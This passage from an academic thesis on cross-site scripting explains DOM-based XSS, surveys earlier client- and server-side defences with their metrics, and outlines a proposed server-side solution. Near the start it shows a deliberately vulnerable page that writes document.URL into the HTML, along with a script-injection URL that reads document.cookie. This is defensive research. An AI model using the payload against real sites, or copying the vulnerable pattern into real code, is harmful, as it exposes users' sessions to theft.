objects which the attacker can influence) in an insecure manner. 

 

When JavaScript is executed at the browser, the browser provides the JavaScript code 

with several other objects that represent the DOM (Document Object Model). The 

document object is the chief among those objects, and it represents most of the page’s 

properties, as experienced by the browser. This document object contains many sub-

objects, such as location, URL, and referrer [35]. These are populated by the browser 

according to the browser’s point of view. So, document .URL and document location are 

populated with the URL of the page, as the browser understands it. These objects are not 

extracted of the HTML body, as they do not appear in the page data [36]. 

 

It is common to find an application HTML page containing JavaScript code that parses 

the URL line (by accessing document.URL or document. location) and performs some 

client side logic according to it. The below is an example to such logic [37]. 
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Figure 8: Cross site scripting attack with a stored message. 

Source: Philip Vogt, “Cross Site Scripting (XSS) Attack 

Prevention with Dynamic Data Tainting on the Client Side”, available at 

http://www.seclab.tuwien.ac.at/people/vogge/docs/da_xss_prevention.pdf 

 

 

<HTML> 

<TITLE>Welcome! </TITLE> 

Hi 

<SCRIPT> 

Var pos=document.URL.indexOf (“name=“) +5; 
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document. Write (document.URL.substring (pos, document.URL.length)); 

</SCRIPT> 

<BR> 

Welcome to our system 

… 

</HTML> 

Normally, this HTML page would be used for welcoming the user, e.g.: 

http://www.vulnerable.site/welcome.html?name=Joe 

 

However, a request such as: 

http://www.vulnerable.site/welcome.html?name= 

<script>alert (document. cookie) </script> 

The above code would result in an XSS condition. Because the victim’s browser receives 

this link, sends an HTTP request to www.vulnerable.site, and receives the above (static) 

HTML page. The victim’s browser then starts parsing this HTML into DOM [38]. The 

DOM contains an object called document, which contains a property called URL, and this 

property is populated with the URL of the current page, as part of DOM creation. When 

the parser arrives to the JavaScript code, it executes it and it modifies the raw HTML of 

the page. In this case, the code references document.URL, and so, a part of this string is 

embedded at parsing time in the HTML, which is then immediately parsed and the 

JavaScript code found (alert(…)) is executed in the context of the same page, hence the 

XSS condition . The following section presents DOM-based / Local XSS attack scenario.  

i. Mallory sends a URL to Alice (via email or other mechanism) of a maliciously 

constructed web page. 

ii. Alice clicks on the link 

iii. The malicious web page's JavaScript opens a vulnerable HTML page installed locally 

on Alice’s computer. 

iv. The vulnerable HTML page is tricked into executing JavaScript in the computer's 

local zone. 

http://www.vulnerable.site/welcome.html?name=Joe
http://www.vulnerable.site/welcome.html?name
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v. Mallory's malicious script now may run commands with the privileges Alice holds on 

her own computer. 

1.6 Conclusion 

The XSS vulnerabilities exist till date, and demands efficient approach for web 

application security. This Chapter discussed about the XSS vulnerabilities and potential 

impacts of XSS. Chapter 2 presents Literature Survey on the earlier research in the area 

of current research. The Chapters 3-7 describe the research contributions of the present 

investigation. The Chapter 8 gives concluding remarks with the future scope of research 

in this area.  
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Chapter 2    

Problem definition and solution approach 

2.1 Introduction 

The Cross-Site Scripting (XSS) refers to the security restrictions that a web browser 

places on data (for e.g. cookies, dynamic HTML page attributes, etc.) associated with a 

dynamic website. A web application, vulnerable to XSS allows a user to inadvertently 

send malicious data to user himself through that application. It is important to note that 

most of the conventional security measures like firewalls, intrusion detection systems, 

virus protection etc., currently do very little detecting or protection against these types of 

attacks. 

 

Diverse researches across the globe have identified numerous XSS vulnerabilities on 

different scripting and markup languages. This survey presents such vulnerabilities with 

the solutions offered for them. Categories of solutions are based on the location (client 

side or server side), analysis type (static, dynamic, taint, alias, data flow, source code or 

control flow graph), technique (crawling, reverse engineering, black box testing or proxy 

server) and intrusion detection type (anomaly, misuse, automatic or multimodal). The 

strengths and weaknesses of each approach are discussed together with the key metrics 

and interpreted result data [39]. At the end of the section overall weakness of the earlier 

researches and the current developments are listed. The motivation for this research is 

also presented in this chapter.  

2.2. State of the Art of the Problem 

The earlier researchers have identified the problems related to JavaScript, PHP script and 

web client and servers and have provided solutions for it. These problems and solutions 

are presented in this section.  
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2.2.1 JavaScript based solutions provided for XSS vulnerabilities 

Kirda et al [40] identify, that the code in JavaScript is vulnerable to XSS vulnerability 

and a client side solution is necessary to detect the vulnerabilities. The authors suggest a 

personal web firewall Noxes that acts as a web proxy. It utilizes automatically generated 

rules in addition to manual ones for policing. Noxes provides an additional layer of 

protection, which allows the user to exert control over connections that browsers make.  

 

According to Vogt [41], dynamic data tainting is necessary in JavaScript Engine of 

Mozilla Fire Fox, such that sensitive information shall not be transferred by XSS code 

without the user’s consent. Access is prevented by the security manager of the script 

engine by providing an additional layer at the client side. Tainting denotes data 

containing sensitive information is initially marked. Tainting information is tracked 

through operations and assignments to temporary variables. In addition, the authors 

provide a solution to handle the control dependencies. 

 

In [42] the authors recognize that the injected malicious JavaScript through the user’s 

web browser (Mozilla) could create enormous damage to the site. They have proposed a 

solution by auditing JavaScript dynamically during execution, combined with IDS 

(Intrusion Detection System) to detect malicious JavaScript code. IDS detects both 

anomaly and misuse malicious JavaScript code. JavaScript is used in three different ways 

in Mozilla browser. It is used to access DOM objects, used to access XPCOM (Cross 

Platform Component Object Model) and to write all XPCOM objects. 

 

In [43] the researchers have exposed the SQL injection and XSS attacks in the IE 

(Internet Explorer) framework. IE is the target of most of the attacks. The authors 

propose a complete crawling of the site and recommended a black box testing using 

WAVES (Web Application Vulnerability and Error Scanner) after doing a reverse 

engineering of the site. During reverse engineering, HTML pages are parsed with the 

DOM parser and HTML forms are parsed and stored in XML format. The authors looked 
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at ways that HTML pages reveal the existence of other pages or entry points. They have 

identified eight levels of revelations (Traditional HTML anchors, framesets, Meta refresh 

redirections, client-side image maps, JavaScript variable anchors, JavaScript new 

windows and redirections, JavaScript event-generated executions and Form submissions). 

Eight levels of crawling are suggested for each revelation. 

2.2.1.1 Problems in JavaScript based Solutions  

 

Dynamic data Tainting [41] for sensitive data is a viable method in the client side. 

However, additional layering adds overhead to the process. 

 

The collecting system [42] is used to detect malicious JavaScript code is significant in 

security critical environments. Complexity interaction between JavaScript interpreter and 

the browser requires careful tradeoff. More efficient auditing techniques in IDS with 

more signatures are also essential. 

 

Evaluating web application security using software engineering [43] is a systematic 

approach. WAVES can be used to conduct vulnerabilities test including cookie 

poisoning, parameter transfer and buffer overflow. However off line static analysis of 

web code are not effectively done. The behavior monitoring process is also dependent 

upon the crawler’s ability to simulate user generated events as test cases. 

2.2.1.2 Metrics of JavaScript based solutions 

 

The authors of Noxes [40] have taken the number of links permitted, out of links 

requested as the parameter to measure the efficiency of the tool. Out of 8 million links, 

94.3% have given a connection. Only 5.7% of external links have created alerts. The 

number of tests passed, out of number of tests conducted, stands as metric used by the 

authors in [41]. Most of the tests are cleared except for the history objects in the initially 

tainted sources. The important metric in the approach [42] is the percentage of overhead 

increase with the number of operations audited. The overhead caused by the auditing is 



    

 35 

due to the file I\O. Overhead ranges from 23% to 34% for operations ranges from 10 to 

500 respectively. The research team in [43] uses the number of pages retrieved by various 

crawlers as its prime metric. 14 well known sites were tested and Waves performed well 

in all the cases except one.  

 

Noxes [40], a personal web firewall that helps mitigate XSS attack is a client side 

solution that does not rely on the web application providers. However it lacks SSL 

support and browser integration.  

2.2.2 PHP based solutions proposed for XSS vulnerabilities  

In egele’s et al [44] view, it is essential to ameliorate the situation created by careless web 

applications developed in PHP and to obtain more precise characterization of web request 

parameters to train the IDS. The team advocates a static source code analysis for the PHP 

code and a light weight data flow analysis to track request parameters, arguments and 

functions. The parameters passed to the PHP Program are extracted and are used during 

the training phase of learning based IDS. Analysis is performed by following two steps. 

First, the source file is processed using a parser based on PHP grammar. Second, the 

abstract syntax tree is used as a base for the extraction of parameter names as well as 

variable types and values. 

 

Jovanovich et al [45] identified that an automated detections and analysis for the web 

applications developed in PHP is not available. They have developed an “alias analysis” 

targeting reference semantics and shadow variables. This approach reduces false positive 

taint analysis by incorporating data flow analysis through control flow graph of the code 

and applying an iterative two way algorithm. Additionally, file inclusions are resolved by 

literal analysis.  

 

In [46], F.Valeur et al found that XSS vulnerabilities in web applications  are developed 

in PHP scripts. Specifically taint side vulnerabilities are detected in this approach. Server 

side technique is proposed by the authors for solving this problem. Statically detecting 
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and analyzing the code using flow sensitive inter procedural, context sensitive data flow 

and literal analysis is the approach used by them. The solution is available on open 

source.  

 

The authors [47] wanted to reduce the false positives in web based anomaly detection 

during real time analysis. Therefore, they put forth a reverse proxy to split the web 

content into security sensitive and non sensitive information. Further, data 

compartmentalizing and anomaly based reverse proxying mitigates the false positive. 

They also suggest providing user accounts at different levels of privilege for load 

balancing. 

2.2.2.1 Problems in PHP based Solutions 

 

The findings [44] demonstrate that using static program analysis on web application to 

improve IDS precision is viable. This tool is capable of retrieving all requests parameters. 

However, the analyses on python and pearl have not been made. 

 

“Alias analysis” using shadow variables and two stage iterative algorithms is a novel 

approach [45]. It enhances the effectiveness of automated detection of vulnerabilities. 

However, testing for directory traversal vulnerability in other scripting languages was not 

conducted. 

 

The approach used in [46] based on the static analysis tool Pixy, is effective in detecting 

in known vulnerabilities. However, Pixy does not support the object oriented features of 

PHP. In addition, a larger set of case studies is needed. 

 

The prototype in [47] is able to analyze real time requests sent to a website and determine 

the corresponding anomaly score. The limitations are that the analysis has been done only 

for code written in PHP. Comprehensive analyses for other scripts are also necessary. 
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2.2.2.2 Metrics of PHP based Solutions 

 

While using static program analysis to aid IDS, the actual details found by the analysis 

tool with respect to the parameter available in the log files are taken as metrics by the 

authors in [44]. The analysis tool detects almost 80 to 90% of the parameters found in the 

log file. In precise alias analysis [45], the data for metrics included the number of 

vulnerabilities detected for the number of entry files and the number of false positives 

(FP) reported for the vulnerabilities. Out of 106 vulnerabilities detected, 57 false 

positives are reported from 3 programs that have 43 entry files. 

 

The number of known and unknown vulnerabilities detected by Pixy is considered as a 

metric by the team in [46]. In three applications, 36 known vulnerabilities were 

discovered with 31 false positives. 15 unknown vulnerabilities with 16 false positives 

were discovered. In the case of anomaly detection [47], the data for metrics included the 

number of false positives reduced after using reverse proxying and sensitive path 

coverage fraction.  Sensitive path coverage to write operations are small as compared to 

the ones for read operations. 50% false positives exist in the evaluation. 

2.2.3 Web Client-Server Solutions Provided for XSS 

In [48] authors view the client’s information as the main target for XSS attack (such as, 

the cookie and the data in the hidden field). Such attacks use cookies-based session 

management to steal dynamic information without the user’s knowledge. Client side 

automated IDS via central repository [48] is the suggested solution. IDS use two servers, 

one for detection/collection (Proxy) and other for database. The proxy’s two modes of 

operation “Response change mode” and “Request change mode” facilitate the IDS 

detection/collection. Simple XSS scripts (Java, VBScripts) are inserted for testing 

purpose. According to Ozgur Depren et al [49] it is not possible to maintain the misuse 

type IDS (IDS are basically classified into misuse and anomaly) due to large dynamic 

signatures in an every day attack scenario without effective algorithms in place. 
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Therefore an effective anomaly detection system, tailored to detect attack against web 

servers and web based applications are necessary. A multimodal approach that derives 

automatically the parameter profiles associated with web applications and relations 

between queries was developed by the authors. Further, an anomaly detection approach to 

analyze HTTP requests that use parameters to pass values to server side programs or 

active documents are suggested. 

 

The authors in [50] have identified the XSS Vulnerability in server pages. There are two 

basic techniques to accomplish XSS attack in server pages. These include, insertion of 

malicious code in the database and executing a link containing the malicious code. 

 

The approach used by the authors to detect and confirm the attack includes static analysis 

to detect web applications vulnerabilities and dynamic analysis to check actual 

vulnerabilities. A control flow graph is constructed to analyze the detections made.  

 

The researches in [51] have analyzed the exploits of application level attacks. An 

automatic, generic and modular web vulnerability scanner, similar to a port scanner has 

been proposed. They have developed SecuBat scanner which comprises of crawling, 

attack and analysis components. The crawling component gathers and crawls target 

websites, the attack component launches the configured attacks against the target and the 

analysis component examines the results. A dedicated crawling sequence is used during 

the crawling process. A queue controller periodically checks the queue for new tasks and 

passes them to a thread controller. Attacking tasks are created and passed to an attacking 

queue for further testing and analysis. 

2.2.3.1 Problems in Web Client and Server related approaches 

 

Many famous sites are not secure against XSS vulnerabilities. The real challenge lies in 

placing the collected XSS information in a central database and making it accessible 

universally [48]. 
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The multi-modal approach in [49] takes advantage of the correlation between server side 

programs and parameters used in their invocation. However, unwanted delay is created 

due to direct utilizations of web servers. Anomalous detection should be extended to 

system call invocations also. 

 

Implementing the security of a web application by delegating the analysis approach [50] 

to detect and correct the XSS through software walkthrough or inspections is satisfactory 

(being a software engineering approach). However, a larger set of case studies and 

automatic support for static analysis are essential. 

 

Scuba’s [51] implementation in window forms and SQL server database is an advantage 

of the tool. At the same time more attack plug-ins need to be included. 

 

David Scott et al suggested defining the security policies for input validation [52, 53]. 

Though it provides immediate assurance of web application security, it requires the 

correct identification and validation policy for each individual entry point to a web 

application. Bobbitt also observes that this is a difficult security task that requires careful 

configuration by “highly technical, experienced individuals” [54, 55]. One another 

problem with this approach is on the response time from the server. If the number of hits 

increases, the dynamic generation of web pages will slow down the server performance. 

 

The researchers Engin Kirda et al [40] and O.Ismail et al [47] provided a client side 

solution that fully relies on the user’s configuration and number of researches have 

proven that client side solution is not reliable. If a new vulnerability is introduced, the 

new fix introduced at a central server to prevent the hacking cannot protect the user 

immediately as it needs an update on the client side system [48, 57]. Further according to 

Kruegel et al [48], it is not possible to maintain the misuse type IDS [58] (IDS are 

categorized basically into misuse and anomaly) due to the large dynamic signature in an 

everyday attack scenario. CERT- Center of internet security expertise, a federally funded 
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research and development center states that none of the client side solutions prevent the 

vulnerabilities completely and it is up to the server to eliminate these issues [58].  

 

Yao-Wen Huang et al [59] suggested a lattice based static analysis algorithm derived 

from type systems and type state. During the analysis, sections of code considered 

vulnerable are instrumented with runtime guards, thus securing web applications in the 

absence of user intervention. Though runtime protection is provided, it is tightly coupled 

with the web application. The main limitation is that it will take more processing time as 

the safeguards need to be revised and inserted in all pages.  

 

The solution provided by Zhendong Su et al [60] provides a runtime checking for SQL 

command injection and claims that this approach will prevent XSS attacks. There are 

quite a few solutions proposed on the same lines of research [61-64]. Wes Masri and 

Andy Podgurski have stated [67] that information flow based work will increase the false 

positives and it is not an indicative strength if the information flow is high.  

 

There are validation mechanisms [65] and scanners proposed to prevent XSS 

vulnerabilities [65-67]. Some software engineering approaches are also proposed such as 

WAVES [68] for security assessment. However none of the solutions are not built for the 

latest developments and would fail if tags are permitted in the web applications. Also, all 

the solutions described above are prone to zero-day attacks.  

2.2.3.2 Metrics on Web Client and Server related approaches 

 

The authors in [48] have chosen the number of vulnerabilities detected over the two 

modes in different category of sites as their key metric. Results show that response 

change mode can detect the vulnerability alone, where as request change mode can detect 

effectively while encountering multi-parameters. 
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The research team in [49] included number of parameters analyzed for the detected 

malicious code and false positive rate as their metrics. Nearly half of the false positives 

were caused by non-printable characters. 

 

The authors in [50] used the number of vulnerabilities detected using static analysis and 

number of vulnerabilities confirmed by dynamic analysis as their metric. Out of two 

cases studied, the first case yielded the required result and the second case gave an 

unexpected result. 

 

The number of vulnerabilities in the number of pages scanned is the parameter taken for 

measuring by the authors in [51]. Out of 25,064 pages scanned, which include 21,627 

distinct web forms, 15% are vulnerable to XSS. In many web applications, vulnerabilities 

are the results of generic input validations. 

 

2.3 Facts on XSS threats from various research groups 

The literature survey carried out on the existing XSS attacks area brings out the following 

facts:  

i. The standard on information security vulnerability that maintains the Common 

Vulnerabilities and Exposures (CVE) list, lists the top most vulnerability as XSS in 

web based applications. For 2006, 21.5 percent of the CVEs were found as XSS [74]. 

The data indicate that hackers are exploiting XSS vulnerabilities in the web 

applications.  

ii. 70% of attacks occur via the application layer, according to Stamford, Conn.-based 

research firm Gartner Inc.  

iii. The Open Web Application Security Project (OWASP) is an organization that 

provides unbiased and practical, cost-effective information about computer and 

Internet applications. The intent is to assist individuals, businesses and agencies in 

finding and using trustworthy software. The Open Web Application Security 

http://searchsoftwarequality.techtarget.com/sDefinition/0,,sid92_gci211585,00.html
http://searchsoftwarequality.techtarget.com/sDefinition/0,290660,sid92_gci1192885,00.html
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Project (OWASP) recently released its Top 10 Web application vulnerabilities for 

2007 [75]. Topping the list is cross-site scripting (XSS).  During 2006, XSS was 

ranked fourth in the list. 

iv. Billy Hoffman, lead research engineer with Atlanta-based SPI Dynamics Inc. 

warned during his presentation at Black Hat conference USA 2006, that the XSS 

threats would only get worse and make life more difficult for IT security 

professionals [76, 77]. 

v. According to white-hat security specialists report- “Web Application Security Risk 

Report”,  which covers 15 months of vulnerability assessment starting from January 

2006 till March 2007, it is indicated that nearly 70% of all URLs that the company 

tested found to be open to  web application threats [78].  

vi. Security firm Imperva claims a large portion of web applications are vulnerable, 

even after developers took a look at them with the goal of fixing security errors. 

The critical vulnerabilities increased from 89% to 93% after the first security tests, 

as completely new error categories were discovered [79]. 

vii. Web application security- a web site security center in their report, states that XSS 

tops in web application security risks [80].  

viii. In Network world magazine it has been mentioned that Cross-site scripting is the 

top most security risk [81]. 

ix. In the “Cross-Site Scripting: Attackers' New Favorite Flaw” article, it was informed 

that hacker’s interests have shifted from buffer over flow to XSS vulnerabilities 

[82].  

x. According to Mass.-based Watchfire, the most vulnerable area in the enterprise 

information system is Web applications [83]. 

xi. In a technical report, Computer world magazine discussed how to defeat the new 

No. 1 security threat: cross-site scripting [84]. 

xii. A report on Storage and security mentions that internet threats will continue to 

increase [85]. 

xiii. WhiteHat Security published its new quarterly Web Application Security Risk 

Report this quarter, offering statistics and trend data on security vulnerabilities 

http://www.vnunet.com/news/1156498
http://www.watchfire.com/
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affecting custom web sites and applications. WhiteHat's research reveals that eight 

out of 10 web sites have serious flaws. According to the report, about 71% of web 

sites are vulnerable to cross-site scripting (XSS), followed by information leakage 

(30%), predictable resource location (28%), content spoofing (26%), insufficient 

authentication (21%), and SQL injection (20%) [86]. 

xiv. Online attackers are increasingly using zero-day flaws and targeting a wider array 

of applications, according to the annual Top 20 Security Attack Targets report from 

the Sans Institute [87]. 

xv. Cross-site scripting (XSS) variants dominated the top 10 vulnerabilities in 

commercial and open source web applications, according to Cenzic Inc.'s 

Application Security Trends Report for the first quarter of 2007. In Cenzic's study, 

the company identified 1,561 unique vulnerabilities during the first quarter of 2007. 

File inclusion, SQL injection, XSS, and directory traversal were the most prevalent, 

totaling 63%. The majority of vulnerabilities affected web servers, web 

applications, and web browsers [88].  

2.4 Complications in providing a comprehensive solution for XSS 

threats 

Establishing a comprehensive security solution for XSS attacks becomes 

complicated due to the following reasons:  

1. There are quite a few tags that are allowed in web applications for formatting the 

text. Hence, simple filtering mechanism of the tags will not help in protecting those 

web applications from XSS attacks.   

2. XSS vulnerabilities arise due to coding issues. The coding vulnerabilities vary 

from site to site and there is no single patch available to fix all the XSS 

vulnerabilities.  

3. New evasive mechanisms are found by the hackers every day.  

4. Web pages are not static. To increase the number of users of the application, web 

application developers change the content of the application every day without the 

concern for security mechanisms.  

http://www.sans.org/top20/?ref=1814
http://www.sans.org/
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5. The entry points of the vulnerable XSS web applications can be found using 

automated tools inclusive of Google [69]. 

 

In the literature, zero-day attack is defined as an exploit that takes advantage of a 

newly discovered hole in a program or operating system before the software 

developer has made a fix available. Typically, when security researchers find a 

vulnerability or hole in some piece of software, they announce it, and then the 

companies work on creating fixes as quickly as they can [70]. Either these fixes, 

patches from the original software vendors or signatures that identify the threats are 

then quickly distributed. Research data show zero-day exploits are increasing from 

2006 as it takes few days for the patch to get implemented to fix the vulnerability [71, 

72]. 

 

Since tags are allowed to be entered in web pages for formatting the text displayed in 

web pages, hackers find new ways to hack the web application using the features 

provided in the web application. Mainly all solutions provided by the earlier 

researchers do not address the all of the XSS threats because of the allowed tags in 

the web application and also the all earlier research contributions are prone to zero-

day attacks.  

2.5 Limitations of earlier contributions 

The limitations of the solutions proposed by earlier researchers as noted in the 

sections above are consolidated and presented here:  

 Web applications are developed using different languages like PHP, 

ASP, JSP, HTML, CGI-PERL, .Net etc. Solutions proposed so far, 

pertains only to specific web applications developed in a particular 

language. There is no single solution, applicable to be applied on all 

web applications with minimal configuration.  
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 The solutions did not consider the web applications that receive input 

from various interfaces apart from web browser. 

 Proposed client side solutions by the earlier researches need update on 

the client side executable code whenever a new threat is introduced. If 

the patch is not updated in the user’s machine, then the user would get 

affected by the hacking attempts.  

 When a new XSS threat is introduced the new solution for the threat 

needs to be developed and incorporated in all the existing web pages. 

This involves huge maintenance cost and lots of rework.  

 When a new web page is introduced, the security mechanisms need to 

be introduced at a web page level. It implies the code that protects the 

web page should be incorporated in each and every page of the web 

application.  

 Each entry point in the web application should be known to the 

security administrator to implement the security mechanisms. 

 Zero-day attack is defined as an exploit that takes advantage of the 

vulnerability window. Vulnerability window is defined as the time 

between the exploit is identified and the fix is implemented. Existing 

server side solutions proposed so far are prone to zero-day attacks. 

2.6 Problem Definition 

A comprehensive survey of the literature on Cross Site Scripting vulnerabilities shows 

that work in this direction started around 2000. The solutions that include static analysis, 

taint analysis, reverse engineering, black box testing, proxy server, multimodal approach 

and anomaly detection are inherent and specific to each milieu. 

 

Attacks are likely to be more sophisticated and, through automation and exploitation of 

client browser vulnerabilities, the damage will be more devastating. Maintainability of 

the solutions provided so far was low as the server side solutions are tightly coupled with 
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the web pages and hence it would be difficult to implement the security mechanisms for 

the threats. Added to this, client side solutions are largely dependent upon user’s 

knowledge for correct configuration and client side solutions involve portability issues. 

An effort is thus made in this thesis to develop comprehensive solution towards providing 

a configurable solution at the server side.  

 

Every day, existing web pages are being modified and new web pages are getting 

introduced to increase the customer base. This is due the revenue that the companies 

generate by various means that largely depends upon the visitors of the web application. 

For instance, yahoo displays advertisements in its e-mail application and thus generates 

revenue. Now, the methods available, hitherto, on the server side did not consider the 

configuration and maintainability aspects of the web application.  Further, in the existing 

approaches proposed earlier, the existing server side programs should be changed to 

incorporate the security mechanism. Or if the security solution is at the client side then 

the security mechanism should be downloaded to the client machine to protect the user.  

Therefore, the solution aims to protect the web application from zero-day threats 

considering the exploitation and the devastation that a hacker can do to the web 

application using the threat.  

 

Netcraft Web Server Survey results show that there are 19.2 billion web pages exist and 

70, 392, 567 web sites exist as of August 2005. Web pages per site thus become 273, 

which is rounded to the nearest number. 155, 583, 825 web sites exist as per the survey 

conducted during January 2008 which is 2.2 times higher than that of 2005. Assuming 

that the number of web pages does not vary much per web site, then as per the survey 

there are 42.4 billion web pages exist [89-91]. The existing solutions demand changes in 

the web page whenever a threat is introduced. Considering the number of web pages that 

exist it would need a considerable effort and as well as cost to address the XSS threat. 

Hence, there is a need for developing a model with the security layer completely 

separated out from the web application to increase the maintainability of the web 

application.   
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Web applications are developed in different languages like ASP, JSP, PHP, .Net etc and 

for different requirements aiming to increase the customer base. Hence the study revealed 

that the solution should aim to provide independent services with defined interfaces that 

can be called to perform their tasks in a standard way, without the service having fore 

knowledge of the calling application, and without the application having or needing 

knowledge of how the service actually performs its tasks. Hence the the solution needs to 

be based on an approach of service oriented architecture (SOA). 

 

It is also necessary to consider the fact that the web applications are built for various 

purposes. For instance we have researchers web application, social networking web 

application, e-mail application, e-commerce application etc. Each web application is built 

with different requirements for performance, security mechanisms, internationalization, 

and scalability to serve its customers. Thus there is a need to provide an appropriate 

solution based on the categorization of the web application as defined below:  

2.6.1 Categorization of the web applications 

 

The web applications can be categorized based on the service it offers to the customers. 

The web services can be broadly categorized as financial services and non-financial 

services. If the web application provides financial service, the loss due to security breach 

is severe.  In the case of non-financial services the web applications such as free e-mail or 

social networking site, there is no financial loss for the customer.  

 

However they need to be protected from the unauthorized access to the web application 

leading to data corruption, data stealing and make the web application servers down. As 

far as the vulnerabilities are concerned the web applications involving financial services 

are more vulnerable than the web applications with non financial services. Though the 

security methods developed for web applications involving financial services can be 

applied to the non financial services, it will not be economical and will be having lot of 
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unwanted overheads for the methods to be used for non-financial service based web 

applications. Hence this research aims to categorize the web applications as  

a. Web applications with financial services. 

b. Web applications with non-financial services.  

 

In addition we aim to develop different methods as solutions to the above two categories 

of web applications.  

 

The non financial web applications can be more tolerant to false negatives. False negative 

is a term used to indicate the user’s action is a hacking attempt, but the security 

mechanisms would not have recognized that as a hacking attempt. It occurs when a virus 

or intrusion condition or a hacking attempt exists, but is 'allowed' (or ignored or missed) 

by the alerting system. False positive is defined as the user’s action is a genuine action, 

but the security software would have recognized the activity as the hacking attempt.  

Basically a false positive is a bogus alert and a false negative is an alert which should 

have been generated but wasn't. 

 

While designing a security mechanism the acceptable tolerance limit for false negatives 

and false positives for a web application should be considered. Hence different methods 

as solutions are proposed in this research.  

2.6.2 Factors considered for providing a security solution for the web applications 

While developing a security solution for the web application, the following factors 

are considered:  

1. Does the system provide any financial service? 

2. What is the frequency of the changes in the web application? 

3. Can the system be tolerant to false negatives? 

4. Is performance an important criterion for the web application?  

5. Could zero-day attacks be permitted by the application?  
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6. Is the web browser is the source of input to the web application or is the input 

expected from other interfaces?  

2.7 Statement of the problem: 

The problem taken for investigation in this research work is to develop security 

solutions to the web applications involving financial services as well as non-financial 

service applications, taking into account the limitations of the solutions provided by 

the earlier researchers. The following are the objectives of the research:  

 

 This research targets to provide a solution to protect the web pages from 

XSS vulnerability that are developed using different languages like PHP, 

ASP, JSP, HTML, CGI-PERL, .Net etc. and deployed in different 

platforms.  

 When a new threat is introduced, the existing web pages should not be 

changed to incorporate the security mechanism.  

 The solution should be separated from page level implementation and 

should stay on top most layer of the web application. The need for 

knowing the entry points of the web application should be eliminated.  

 The solution should be placed on the server side to reduce the dependency 

for the updates to happen on the client side.  Hence the research aims to 

provide an effective server side solution.  

 The solution proposed should be built in with a flexibility to accept 

HTML tags in the input, but protect the web application from XSS 

vulnerabilities. 

 The solution should also consider the web applications that receive input 

from various interfaces apart from web browsers. 

 

To separate out the security mechanisms from the web applications, we decided to use 

XML as it is supported by almost all web languages. The application properties and 
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attack vectors are decided to be maintained in XML.  The data collection methods have 

been described in the next section that was used for the evaluation of this research.  

2.8 Testing methodology  

Testing for XSS vulnerabilities is done in two ways: static and dynamic testing. Static 

testing is typically done by performing source code analysis. A method to test is 

described to create a control flow graph of information that is processed by a server page. 

The graph consists of input and output nodes. An input node can be a statement that 

processes input data from a form, reads the value of a query string, a database field, a 

cookie, or data from a file. Output nodes are associated with statements that write to 

database fields, a file, a cookie, or output in the page. The server page is potentially 

vulnerable if a path in the control flow graph exist that connects an input to an output 

node. However, it is possible that data from one server page is sent to another page, the 

web application might not be vulnerable to a certain type of attack if only one of the 

individual server pages have potential security problems. For example, a page may read 

input and store it in a database field. The result of the static analysis says that this page 

has a potential vulnerability. But another page that reads data from this field may encode 

everything in the output of the page and therefore, the web application as a whole is not 

vulnerable.  

 

In dynamic testing, known attacks are executed against web applications. Either a 

database with generated attacks for a specific web application is used or a database that 

contains generic attacks to test the application. More precisely, server pages that are 

potentially vulnerable according to a previous static analysis step are tested again in a 

dynamic test with specific attacks for the potential vulnerability. Since the static analysis 

has got disadvantages associated with this, we adopted dynamic testing to test the 

research contributions.  
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Further, we have adopted two approaches to test our solution. First, the solution is tested 

with all the test cases developed based on the scenarios provided in white hackers, black 

hat hackers and researchers sites. Next the solutions are applied on a banking web 

application and tested for its performance with and without the research contribution.  

 

The proposed solutions have been tested with 6000 malicious inputs and 5000 non 

vulnerable inputs. The average time has been taken for 10 cycles of execution of each 

approach and the results were presented. The average time is taken because there are 

minor variations found in the time of completion of each run as the execution depends on 

the operating system, and the other processes that run in the machine during the process 

of testing.  

 

The performance has been observed by logging the time of the process before it initiates 

the security process and after the status is received from the security process. The 

approaches are tested in a Pentium 4, 512 MB RAM and 1.69GHz.machine.  

 

Though the vulnerable inputs collected are around 2200, we increased the data by 

deriving the combinations of vulnerability for the remaining 4000 vulnerable inputs to 

test the performance speed of the proposed approach. The approaches were also tested by 

a random generator program that picks the vulnerable and non vulnerable inputs from a 

file of about 6000 inputs for an average of 10 runs and the results are documented. 

 

The thread based approach is compared to the other products available such as PHP Input 

Filter, HTML_Safe, StripTags, Kses, Safe HTML Checker, and HTML Purifier in terms 

of processing time to prevent XSS vulnerabilities. The thread based approach is found 

effective compared to the earlier solutions as it reduces the response time of the server, 

block the malicious attempts, and protect the web application from zero-day attacks.  



    

 52 

2.9 Data sources for the evaluation of this research work 

To test the effectiveness of the approaches listed above, the vulnerable web input listed in 

research sites, black hat hacker sites and in the white hat hacker sites were considered. 

Vulnerable input collected were around 2200, which were collected over a period of two 

years.  Among the data collected around 160 were the SSL protected banking 

applications.  During the process of data collection it was found that 108 distinct XSS 

vulnerabilities exist and based on that test cases were developed to test the approach.  

 

The research also collected data on the products available to prevent the XSS 

vulnerabilities for the web application. The prevalent products available in use to prevent 

XSS vulnerabilities are PHP Input Filter, HTML_Safe, StripTags, Kses, Safe HTML 

Checker and HTML Purifier.  These products were compared with the research work of 

thread based solution proposed as part of this research work.  

 

To reduce the processing time, the collected data was sorted based on the category of 

attacks. It was found that, the script based attacks are 65.8% followed by the event based 

attacks, which is 15.8%. Frame tag based attacks are 10% and Style tag based attacks are 

8.4%. This data helped to sort the tags, which reduced the processing time considerably 

for 90% of the requests.  

 

To test improved trust metrics and variance based authorization model in e-commerce to 

identify server hacking, the transaction data made over a period of a year for 5 users have 

been collected to evaluate the effectiveness of the approach.  

2.10 Conclusion 

The survey covers almost all the researches carried out so far in this area. The gaps 

between existing researches have been highlighted with the result metrics. This 

research also covered the evidences of the XSS vulnerability with the latest 

developments in this area. Further, the difficulties in addressing the open issues have 
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also been listed along with the proposed line of research. Further, a comprehensive 

and coherent solution needed for preventing the entire XSS attack scenario is also 

explained under the focus of this research.  
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Chapter 3  
 

A solution to block Cross Site Scripting Vulnerabilities based 

on Service Oriented Architecture 
 

3.1 Introduction 

Research data shows that, about 80% of the web applications are vulnerable to cross site 

scripting attacks. This is because of the fact that the users are allowed to enter tags in the 

input control for increasing the flexibility in handling web applications input. This 

increases the threat to the web application by allowing the hackers to plant worms in the 

web applications through the features like tags.  

 

Further, there are billions of web pages [89-91] that are developed in different languages 

like PHP, ASP, JSP, HTML, CGI-PERL, .Net etc. There is no single solution available 

that can be applied for the web application to prevent XSS that are developed in different 

languages and deployed in different platforms.  This chapter presents a new solution to 

block Cross Site Scripting (XSS) attacks that is independent of the languages in which 

the web applications are developed and addresses.  

 

The solution proposed is modularized, configured, and developed in .Net, XML and 

XSD. This approach is evaluated in a web application developed in JSP/Servlets 

